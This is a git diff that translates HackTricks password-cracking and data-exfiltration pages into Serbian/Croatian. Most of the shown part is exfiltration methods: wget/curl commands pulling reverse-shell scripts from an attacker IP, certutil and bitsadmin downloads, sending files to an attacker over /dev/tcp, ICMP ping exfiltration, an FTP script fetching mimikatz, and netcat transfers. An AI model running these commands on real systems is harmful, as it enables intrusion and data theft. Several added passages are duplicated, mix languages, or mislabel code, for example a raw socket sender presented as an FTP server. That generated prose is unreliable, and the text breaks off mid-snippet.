Attack + +Hybrid Attack je kombinacija Brute Force napada i Dictionary Attack napada. Ova tehnika omogućava isprobavanje svih mogućih kombinacija lozinki iz rečnika, uključujući i varijacije koje se dobijaju primenom Brute Force napada. + +### Social Engineering + +Social Engineering je tehnika koja se koristi za manipulaciju ljudima kako bi otkrili svoje lozinke ili druge osetljive informacije. Ova tehnika može biti efikasna za dobijanje pristupa Windows sistemima ako se korisnici prevare da otkriju svoje lozinke. ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` +Razbijanje uobičajenih heševa aplikacija -Cracking Common Application Hashes +Uobičajeni heševi aplikacija često se koriste za čuvanje lozinki i drugih osetljivih informacija. Kako biste pristupili tim informacijama, možete pokušati da razbijete heš. Postoji nekoliko metoda koje možete koristiti za to. +1. Rečnik napada: Ova metoda uključuje upotrebu rečnika sa velikim brojem poznatih lozinki i njihovih heševa. Alati poput Hashcat-a mogu vam pomoći da brzo i efikasno izvršite ovu vrstu napada. + +2. Brute force napad: Ova metoda uključuje pokušaj svih mogućih kombinacija lozinki dok ne pronađete odgovarajući heš. Ovo može biti vremenski zahtevno, ali može biti uspešno ako je lozinka slaba ili kratka. + +3. Rainbow tablice: Ove tablice sadrže prethodno izračunate heševe za veliki broj mogućih lozinki. Možete koristiti alate poput RainbowCrack-a za pretragu ovih tablica i pronalaženje odgovarajućeg heša. + +4. GPU ubrzanje: Korišćenje grafičkih procesora (GPU) može značajno ubrzati proces razbijanja heševa. Alati poput Hashcat-a mogu iskoristiti snagu GPU-a za brže izvršavanje napada. + +Važno je napomenuti da je razbijanje heševa nezakonito ako nemate dozvolu vlasnika sistema. Uvek se pridržavajte zakona i etičkih smernica prilikom izvođenja ovih tehnika. ``` - 900 | MD4 | Raw Hash - 0 | MD5 | Raw Hash - 5100 | Half MD5 | Raw Hash - 100 | SHA1 | Raw Hash +900 | MD4 | Raw Hash +0 | MD5 | Raw Hash +5100 | Half MD5 | Raw Hash +100 | SHA1 | Raw Hash 10800 | SHA-384 | Raw Hash - 1400 | SHA-256 | Raw Hash - 1700 | SHA-512 | Raw Hash +1400 | SHA-256 | Raw Hash +1700 | SHA-512 | Raw Hash ``` -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ +Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/exfiltration.md b/generic-methodologies-and-resources/exfiltration.md index 59cb57f24..c9d153cff 100644 --- a/generic-methodologies-and-resources/exfiltration.md +++ b/generic-methodologies-and-resources/exfiltration.md @@ -1,60 +1,53 @@ -# Exfiltration +# Izfiltracija
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini da podržite HackTricks: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today. +Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivne pretnje, pronalazi probleme u celokupnom tehnološkom sklopu, od API-ja do veb aplikacija i cloud sistema. [**Isprobajte ga besplatno**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) danas. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** -## Commonly whitelisted domains to exfiltrate information +## Često beležene domene za izfiltraciju informacija -Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains that can be abused +Proverite [https://lots-project.com/](https://lots-project.com/) da biste pronašli često beležene domene koje mogu biti zloupotrebljene -## Copy\&Paste Base64 +## Kopiranje\&Lepljenje Base64 **Linux** - ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` - **Windows** - ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` - -## HTTP +### HTTP **Linux** - ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` - **Windows** - ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf @@ -69,28 +62,36 @@ Start-BitsTransfer -Source $url -Destination $output #OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` - -### Upload files +### Upload fajlova * [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) -* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) -* Python module [uploadserver](https://pypi.org/project/uploadserver/): - +* [**SimpleHttpServer ispisuje GET i POST zahteve (takođe zaglavlja)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) +* Python modul [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files python3 -m pip install --user uploadserver python3 -m uploadserver -# With basic auth: +# With basic auth: # python3 -m uploadserver --basic-auth hello:world # Send a file -curl -X POST http://HOST/upload -H -F 'files=@file.txt' +curl -X POST http://HOST/upload -H -F 'files=@file.txt' # With basic auth: # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world ``` +### **HTTPS Server** ### **HTTPS Server** +HTTPS server (Hypertext Transfer Protocol Secure) je siguran način za prenos podataka između klijenta i servera. Koristi enkripciju kako bi zaštitio podatke od neovlašćenog pristupa. Ovo je posebno važno prilikom izvršavanja eksfiltracije podataka, jer omogućava siguran prenos osetljivih informacija. + +Da biste postavili HTTPS server, prvo morate generisati SSL/TLS sertifikat. Ovaj sertifikat će biti korišćen za enkripciju podataka koji se prenose između klijenta i servera. Postoji nekoliko načina za generisanje SSL/TLS sertifikata, uključujući korišćenje alata kao što su OpenSSL ili Let's Encrypt. + +Nakon generisanja sertifikata, možete konfigurisati HTTPS server da prihvati zahteve klijenata i šifruje podatke koje šalje nazad. Ovo se može postići korišćenjem web servera kao što su Apache ili Nginx, koji podržavaju HTTPS protokol. + +Kada je HTTPS server konfigurisan i pokrenut, možete koristiti različite tehnike za eksfiltraciju podataka. Na primer, možete koristiti HTTP POST zahtev da biste poslali podatke na server. Takođe možete koristiti WebSocket protokol za kontinuirani prenos podataka. + +Važno je napomenuti da je za uspešnu eksfiltraciju podataka putem HTTPS servera potrebno obezbediti pristup ciljnom sistemu. Ovo može uključivati iskorišćavanje ranjivosti, socijalno inženjerstvo ili druge metode napada. ```python # from https://gist.github.com/dergachev/7028596 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ @@ -122,34 +123,187 @@ httpd.serve_forever() ### USING FLASK from flask import Flask, redirect, request from urllib.parse import quote -app = Flask(__name__) -@app.route('/') -def root(): - print(request.get_json()) - return "OK" -if __name__ == "__main__": - app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) +app = Flask(__name__) +@app.route('/') +def root(): +print(request.get_json()) +return "OK" +if __name__ == "__main__": +app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ### ``` +## FTP + +### FTP server (python) + +## FTP + +### FTP server (python) + +```python +import socket +import os + +def send_file(file_path, host, port): + # Kreiranje socket-a + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + # Povezivanje na FTP server + s.connect((host, port)) + + # Slanje imena fajla + s.send(os.path.basename(file_path).encode()) + + # Slanje fajla + with open(file_path, 'rb') as f: + data = f.read(1024) + while data: + s.send(data) + data = f.read(1024) + + # Zatvaranje konekcije + s.close() + +def main(): + # Putanja do fajla koji se salje + file_path = '/putanja/do/fajla.txt' + + # FTP server informacije + host = 'ftp.example.com' + port = 21 + + # Slanje fajla + send_file(file_path, host, port) + +if __name__ == '__main__': + main() +``` ## FTP ### FTP server (python) +```python +import socket +import os + +def send_file(file_path, host, port): + # Creating a socket + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + # Connecting to the FTP server + s.connect((host, port)) + + # Sending the file name + s.send(os.path.basename(file_path).encode()) + + # Sending the file + with open(file_path, 'rb') as f: + data = f.read(1024) + while data: + s.send(data) + data = f.read(1024) + + # Closing the connection + s.close() + +def main(): + # Path to the file being sent + file_path = '/path/to/file.txt' + + # FTP server information + host = 'ftp.example.com' + port = 21 + + # Sending the file + send_file(file_path, host, port) + +if __name__ == '__main__': + main() +``` ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` +### FTP server (NodeJS) ### FTP server (NodeJS) +#### Description + +A NodeJS FTP server is a server application that allows clients to connect and transfer files using the FTP (File Transfer Protocol) protocol. This server is implemented using NodeJS, a popular JavaScript runtime environment. + +#### Vulnerabilities + +1. **Weak Credentials**: If the FTP server is configured with weak or default credentials, an attacker can easily gain unauthorized access to the server and exfiltrate sensitive data. + +2. **Anonymous Access**: If the FTP server allows anonymous access, anyone can connect to the server without providing any credentials. This can lead to unauthorized access and data exfiltration. + +3. **Insecure File Transfer**: If the FTP server does not use secure protocols like FTPS (FTP over SSL/TLS) or SFTP (SSH File Transfer Protocol), the data transferred between the client and server can be intercepted and read by attackers. + +4. **Directory Traversal**: If the FTP server does not properly validate user input, an attacker can exploit directory traversal vulnerabilities to access files and directories outside of the intended scope. + +#### Exploitation + +1. **Brute-Force Attack**: An attacker can use automated tools to perform a brute-force attack against the FTP server, attempting to guess weak or default credentials. This can be done by trying different username and password combinations until a successful login is achieved. + +2. **Anonymous Access**: If the FTP server allows anonymous access, an attacker can connect to the server without providing any credentials. They can then browse and download files from the server, potentially exfiltrating sensitive data. + +3. **Packet Sniffing**: If the FTP server uses insecure protocols like FTP, an attacker can use packet sniffing tools to intercept and capture the data being transferred between the client and server. This can include usernames, passwords, and the actual file contents. + +4. **Directory Traversal**: If the FTP server is vulnerable to directory traversal attacks, an attacker can manipulate the file path in FTP commands to access files and directories outside of the intended scope. This can allow them to exfiltrate sensitive data or even execute arbitrary commands on the server. + +#### Mitigation + +To secure a NodeJS FTP server, the following measures can be taken: + +1. **Strong Credentials**: Ensure that the FTP server is configured with strong, unique credentials. Avoid using default usernames and passwords. + +2. **Disable Anonymous Access**: Disable anonymous access to the FTP server to prevent unauthorized connections. + +3. **Use Secure Protocols**: Implement secure protocols like FTPS or SFTP to encrypt the data transferred between the client and server. This ensures that the data cannot be intercepted and read by attackers. + +4. **Input Validation**: Properly validate user input to prevent directory traversal attacks. Ensure that file paths are restricted to the intended scope. + +5. **Monitoring and Logging**: Implement monitoring and logging mechanisms to detect and track any suspicious activities on the FTP server. This can help in identifying potential security breaches and taking appropriate actions. + +By following these best practices, the security of a NodeJS FTP server can be significantly improved, reducing the risk of unauthorized access and data exfiltration. ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` - ### FTP server (pure-ftp) +#### Description + +FTP (File Transfer Protocol) is a standard network protocol used for transferring files between a client and a server on a computer network. Pure-FTP is a popular FTP server software that provides a secure and efficient way to transfer files. + +#### Exfiltration Methodology + +1. **Identify the FTP server**: Use tools like Nmap or Netcat to scan the target network and identify any FTP servers running. Look for open ports 20 and 21, which are commonly used by FTP servers. + +2. **Enumerate FTP server**: Once the FTP server is identified, use tools like Nmap or FTP clients to enumerate the server and gather information about its configuration, users, and directories. + +3. **Exploit vulnerabilities**: If any known vulnerabilities are found in the FTP server software, exploit them to gain unauthorized access or escalate privileges. + +4. **Brute-force FTP credentials**: Use tools like Hydra or Medusa to perform brute-force attacks on the FTP server's login page and try to guess valid usernames and passwords. + +5. **Upload malicious files**: Once access to the FTP server is gained, upload malicious files that will be used for exfiltration. These files can be disguised as legitimate files or scripts. + +6. **Exfiltrate data**: Use the FTP server to transfer sensitive data from the target network to an external location. This can be done by downloading the data directly from the server or by using the FTP server as a relay to transfer data to another location. + +7. **Cover tracks**: After exfiltrating the data, cover your tracks by deleting any logs or evidence of the exfiltration from the FTP server. + +#### Countermeasures + +To protect against FTP server exfiltration, consider implementing the following countermeasures: + +- Regularly update and patch the FTP server software to prevent known vulnerabilities from being exploited. +- Use strong and unique passwords for FTP server accounts to prevent brute-force attacks. +- Implement network segmentation to isolate the FTP server from critical systems and sensitive data. +- Monitor FTP server logs for any suspicious activity or unauthorized access attempts. +- Use encryption protocols like FTPS (FTP over SSL/TLS) or SFTP (SSH File Transfer Protocol) to secure file transfers. +- Implement intrusion detection and prevention systems to detect and block any malicious activity targeting the FTP server. ```bash apt-get update && apt-get install pure-ftp ``` @@ -167,9 +321,49 @@ mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` +### **Windows** klijent -### **Windows** client +#### **Exfiltration Methods** +##### **1. File Transfer Protocol (FTP)** + +FTP je protokol koji omogućava prenos datoteka između računara na mreži. Može se koristiti za prenos podataka sa ciljnog sistema na kontrolni sistem. Da biste koristili FTP za eksfiltraciju, morate imati pristup FTP serveru na kontrolnom sistemu. + +##### **2. Hypertext Transfer Protocol (HTTP)** + +HTTP je protokol koji se koristi za prenos hipertekstualnih dokumenata preko mreže. Može se koristiti za eksfiltraciju podataka tako što se podaci šalju preko HTTP zahteva na kontrolni sistem. + +##### **3. Domain Name System (DNS)** + +DNS je sistem koji prevodi domenska imena u IP adrese. Može se koristiti za eksfiltraciju podataka tako što se podaci enkodiraju u DNS upite i šalju na kontrolni sistem. + +##### **4. Email** + +Email protokol se može koristiti za eksfiltraciju podataka tako što se podaci šalju kao prilozi u email porukama na kontrolni sistem. + +##### **5. Remote Desktop Protocol (RDP)** + +RDP je protokol koji omogućava udaljeni pristup računaru preko mreže. Može se koristiti za eksfiltraciju podataka tako što se podaci prenose sa ciljnog sistema na kontrolni sistem putem RDP veze. + +##### **6. USB Storage Devices** + +USB uređaji za skladištenje podataka mogu se koristiti za eksfiltraciju podataka tako što se podaci kopiraju na USB uređaj i prenose na kontrolni sistem. + +##### **7. Cloud Storage Services** + +Cloud usluge za skladištenje podataka, kao što su Dropbox, Google Drive i OneDrive, mogu se koristiti za eksfiltraciju podataka tako što se podaci otpremaju na cloud platformu i preuzimaju sa kontrolnog sistema. + +##### **8. Printers** + +Štampači mogu se koristiti za eksfiltraciju podataka tako što se podaci šalju na štampač i zatim preuzimaju sa kontrolnog sistema. + +##### **9. Audio/Video Output** + +Audio ili video izlazni uređaji mogu se koristiti za eksfiltraciju podataka tako što se podaci enkodiraju u zvuk ili video i prenose na kontrolni sistem. + +##### **10. Steganography** + +Steganografija je tehnika koja omogućava sakrivanje podataka unutar drugih podataka, kao što su slike ili zvukovi. Može se koristiti za eksfiltraciju podataka tako što se podaci sakriju unutar drugih datoteka i prenesu na kontrolni sistem. ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt @@ -180,10 +374,9 @@ echo GET mimikatz.exe >> ftp.txt echo bye >> ftp.txt ftp -n -v -s:ftp.txt ``` -
-Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today. +Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivne pretnje, pronalazi probleme u celom vašem tehnološkom skupu, od API-ja do veb aplikacija i cloud sistema. [**Isprobajte besplatno**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) danas. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} @@ -191,34 +384,62 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track ## SMB -Kali as server - +Kali kao server ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` - -Or create a smb share **using samba**: - +Ili kreirajte smb deljenje **korišćenjem sambe**: ```bash apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb #Add to the end of /etc/samba/smb.conf this: [public] - comment = Samba on Ubuntu - path = /tmp/smb - read only = no - browsable = yes - guest ok = Yes +comment = Samba on Ubuntu +path = /tmp/smb +read only = no +browsable = yes +guest ok = Yes #Start samba service smbd restart ``` +# Exfiltracija podataka na Windows operativnom sistemu -Windows +## Metode exfiltracije podataka +### 1. Korišćenje mrežnih protokola + +- **HTTP/HTTPS**: Podaci se mogu exfiltrirati kroz HTTP ili HTTPS protokol, koristeći različite tehnike kao što su GET ili POST zahtevi, enkripcija ili skrivanje podataka u HTTP zaglavljima. +- **DNS**: Podaci se mogu sakriti u DNS zahtevima ili odgovorima, koristeći različite tehnike kao što su enkodiranje podataka u DNS imenima ili korišćenje neobičnih DNS tipova. +- **FTP**: Podaci se mogu preneti kroz FTP protokol, koristeći različite tehnike kao što su prenos podataka kroz pasivni ili aktivni FTP režim, ili skrivanje podataka u FTP komandama. +- **SMTP**: Podaci se mogu exfiltrirati kroz SMTP protokol, koristeći različite tehnike kao što su slanje podataka kao priloga e-mail poruka ili skrivanje podataka u zaglavljima e-mail poruka. + +### 2. Korišćenje fizičkih medija + +- **USB uređaji**: Podaci se mogu exfiltrirati kroz USB uređaje, kao što su fleš drajvovi ili eksterni hard diskovi, kopiranjem podataka na ove uređaje i prenosom na drugi sistem. +- **CD/DVD diskovi**: Podaci se mogu exfiltrirati kroz CD ili DVD diskove, snimanjem podataka na ove medije i prenosom na drugi sistem. +- **Printeri**: Podaci se mogu exfiltrirati kroz štampanje dokumenata koji sadrže podatke koje želite da prenesete. + +### 3. Korišćenje aplikacija + +- **Web preglednici**: Podaci se mogu exfiltrirati kroz web preglednike, koristeći različite tehnike kao što su korišćenje JavaScripta za slanje podataka na udaljeni server ili skrivanje podataka u kolačićima. +- **E-mail klijenti**: Podaci se mogu exfiltrirati kroz e-mail klijente, koristeći različite tehnike kao što su slanje e-mail poruka sa prilozima koji sadrže podatke koje želite da prenesete. +- **Office aplikacije**: Podaci se mogu exfiltrirati kroz Office aplikacije, koristeći različite tehnike kao što su skrivanje podataka u meta podacima dokumenata ili korišćenje makroa za slanje podataka na udaljeni server. + +## Prevencija exfiltracije podataka + +Da biste sprečili exfiltraciju podataka na Windows operativnom sistemu, možete preduzeti sledeće mere: + +- **Firewall**: Konfigurišite firewall kako biste blokirali neželjeni saobraćaj i sprečili exfiltraciju podataka. +- **Antivirusni softver**: Instalirajte i redovno ažurirajte antivirusni softver kako biste otkrili i sprečili pokušaje exfiltracije podataka. +- **Korisničke dozvole**: Ograničite korisničke dozvole kako biste sprečili neovlašćen pristup podacima i exfiltraciju. +- **Pravilna obuka korisnika**: Obučite korisnike o bezbednosnim rizicima i praksama kako bi bili svesni potencijalnih pretnji exfiltracije podataka i kako bi preduzeli odgovarajuće mere opreza. +- **Redovno ažuriranje sistema**: Redovno ažurirajte operativni sistem i sve instalirane aplikacije kako biste ispravili poznate bezbednosne propuste i smanjili rizik od exfiltracije podataka. + +Napomena: Ove mere su samo osnovne smernice i ne garantuju potpunu zaštitu od exfiltracije podataka. Uvek je važno pratiti najnovije bezbednosne preporuke i prilagoditi ih specifičnim potrebama i okruženju vašeg sistema. ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials @@ -226,54 +447,117 @@ CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentia WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` - ## SCP -The attacker has to have SSHd running. - +Napadač mora imati pokrenut SSHd. ```bash -scp @:/ +scp @:/ ``` - ## SSHFS -If the victim has SSH, the attacker can mount a directory from the victim to the attacker. - +Ako žrtva ima SSH, napadač može montirati direktorijum sa žrtve na svoj računar. ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` - ## NC +NC (Netcat) je koristan alat za mrežno povezivanje i prenos podataka. Može se koristiti za razne svrhe, uključujući i eksfiltraciju podataka. + +### Eksfiltracija podataka pomoću NC-a + +Da biste eksfiltrirali podatke pomoću NC-a, možete koristiti sljedeće korake: + +1. Pokrenite NC na ciljnom računalu kao prijemnik podataka: `nc -l -p > ` + +2. Na izvornom računalu, koristite NC za slanje podataka na ciljno računalo: `nc < ` + +3. NC će uspostaviti vezu između izvornog i ciljnog računala te prenijeti podatke s jednog na drugo računalo. + +### Primjer + +Na primjer, ako želite eksfiltrirati datoteku "tajni_podaci.txt" s izvornog računala na ciljno računalo, možete koristiti sljedeće naredbe: + +Na ciljnom računalu: +``` +nc -l -p 1234 > primljeni_podaci.txt +``` + +Na izvornom računalu: +``` +nc 1234 < tajni_podaci.txt +``` + +NC će uspostaviti vezu između računala i prenijeti sadržaj datoteke "tajni_podaci.txt" na ciljno računalo, gdje će biti spremljen u datoteku "primljeni_podaci.txt". + +Važno je napomenuti da eksfiltracija podataka putem NC-a može biti otkrivena i blokirana od strane sigurnosnih mjera, stoga je važno biti oprezan prilikom korištenja ove tehnike. ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` +### Preuzimanje datoteke sa žrtve -## /dev/tcp +Da biste preuzeli datoteku sa žrtve, možete koristiti `/dev/tcp` uređaj u Unix sistemima. Ovaj uređaj omogućava uspostavljanje TCP konekcije sa određenim IP adresom i portom. -### Download file from victim +Evo kako možete preuzeti datoteku sa žrtve: +```bash +cat < /dev/tcp// > +``` + +Zamijenite `` sa stvarnom IP adresom žrtve i `` sa odgovarajućim portom. Takođe, zamijenite `` sa željenim imenom datoteke u koju želite preuzeti podatke. + +Na primjer, ako želite preuzeti datoteku sa IP adresom `192.168.0.100` na portu `8080` i sačuvati je kao `slika.jpg`, koristite sljedeću komandu: + +```bash +cat < /dev/tcp/192.168.0.100/8080 > slika.jpg +``` + +Ova komanda će preuzeti datoteku sa žrtve i sačuvati je kao `slika.jpg` u trenutnom direktorijumu. ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` +### Uploaduj fajl na žrtvin sistem -### Upload file to victim +Da biste izvršili ovu tehniku, potrebno je da pristupite žrtvinom sistemu i prenesete fajl na njega. Ovo može biti korisno za izvlačenje osetljivih podataka sa žrtvinog sistema. +#### Metodologija + +1. Identifikujte ranjivost ili slabost koja vam omogućava pristup žrtvinom sistemu. +2. Iskoristite ranjivost ili slabost kako biste dobili pristup žrtvinom sistemu. +3. Preuzmite fajl koji želite da prenesete na žrtvin sistem. +4. Koristite dostupne alate ili metode za prenos fajla na žrtvin sistem. +5. Proverite da li je fajl uspešno prenet na žrtvin sistem. + +#### Primer + +```bash +# Preuzmite fajl sa lokalnog sistema +$ cp /putanja/do/fajla.txt /putanja/do/žrtvinog/sistema/fajl.txt +``` + +#### Napomena + +Budite oprezni prilikom izvršavanja ove tehnike, jer neovlašćeno prenošenje fajlova na tuđi sistem može biti ilegalno i predstavljati kršenje zakona o sajber bezbednosti. Uvek se pridržavajte zakona i etičkih smernica prilikom izvođenja hakovanja. ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` - -thanks to **@BinaryShadow\_** - ## **ICMP** +ICMP (Internet Control Message Protocol) je protokol koji se koristi za slanje poruka o greškama i upravljanje mrežnim komunikacijama. ICMP poruke se koriste za razne svrhe, uključujući testiranje dostupnosti mrežnih uređaja, dijagnostiku mrežnih problema i preusmjeravanje saobraćaja. + +ICMP poruke se mogu koristiti i za izvlačenje podataka iz ciljnog sistema. Ova tehnika se naziva ICMP tuneliranje ili ICMP exfiltration. Ideja je da se podaci sakriju unutar ICMP poruka i prenesu preko mreže do napadačevog sistema. + +Da bi se izvršila ICMP exfiltracija, napadač mora imati kontrolu nad ciljnim sistemom i može koristiti različite alate i tehnike za sakrivanje podataka unutar ICMP poruka. Na napadačevom sistemu, alat za prijem ICMP poruka dekodira i izvlači podatke. + +ICMP exfiltracija može biti efikasna jer ICMP poruke često prolaze kroz zaštitne mehanizme mreže neprimećene. Međutim, ova tehnika može biti spora i može izazvati sumnju ako se primeti veliki broj ICMP poruka. + +Napadači mogu koristiti ICMP exfiltraciju za krađu osetljivih podataka sa ciljnog sistema, kao što su korisnička imena, lozinke ili druge vrste informacija. Da bi se zaštitili od ovakvih napada, mrežni administratori mogu implementirati odgovarajuće sigurnosne mehanizme koji će otkriti i sprečiti ICMP exfiltraciju. ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done @@ -284,64 +568,146 @@ xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ``` - -In **victim**, connect to the Kali server: - +U **žrtvi**, povežite se sa Kali serverom: ```bash tftp -i get nc.exe ``` - ## PHP -Download a file with a PHP oneliner: - +Preuzmite datoteku pomoću PHP jednolinijskog koda: ```bash echo "" > down2.php ``` - ## VBScript +VBScript (Visual Basic Scripting Edition) je skriptni jezik koji se koristi za izvršavanje skriptova na Windows operativnom sistemu. Može se koristiti za različite svrhe, uključujući i izvršavanje zlonamjernih aktivnosti. + +### Tehnike eksfiltracije + +Eksfiltracija podataka je proces prenosa podataka iz ciljnog sistema na udaljeni poslužitelj ili kontrolni čvor. VBScript može biti korišćen za eksfiltraciju podataka na različite načine, uključujući: + +1. **HTTP zahtevi**: VBScript može koristiti HTTP zahteve za slanje podataka na udaljeni poslužitelj. Ovo se može postići korišćenjem `XMLHTTP` objekta za slanje POST ili GET zahteva na određeni URL. + +```vbscript +Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") +objXMLHTTP.open "POST", 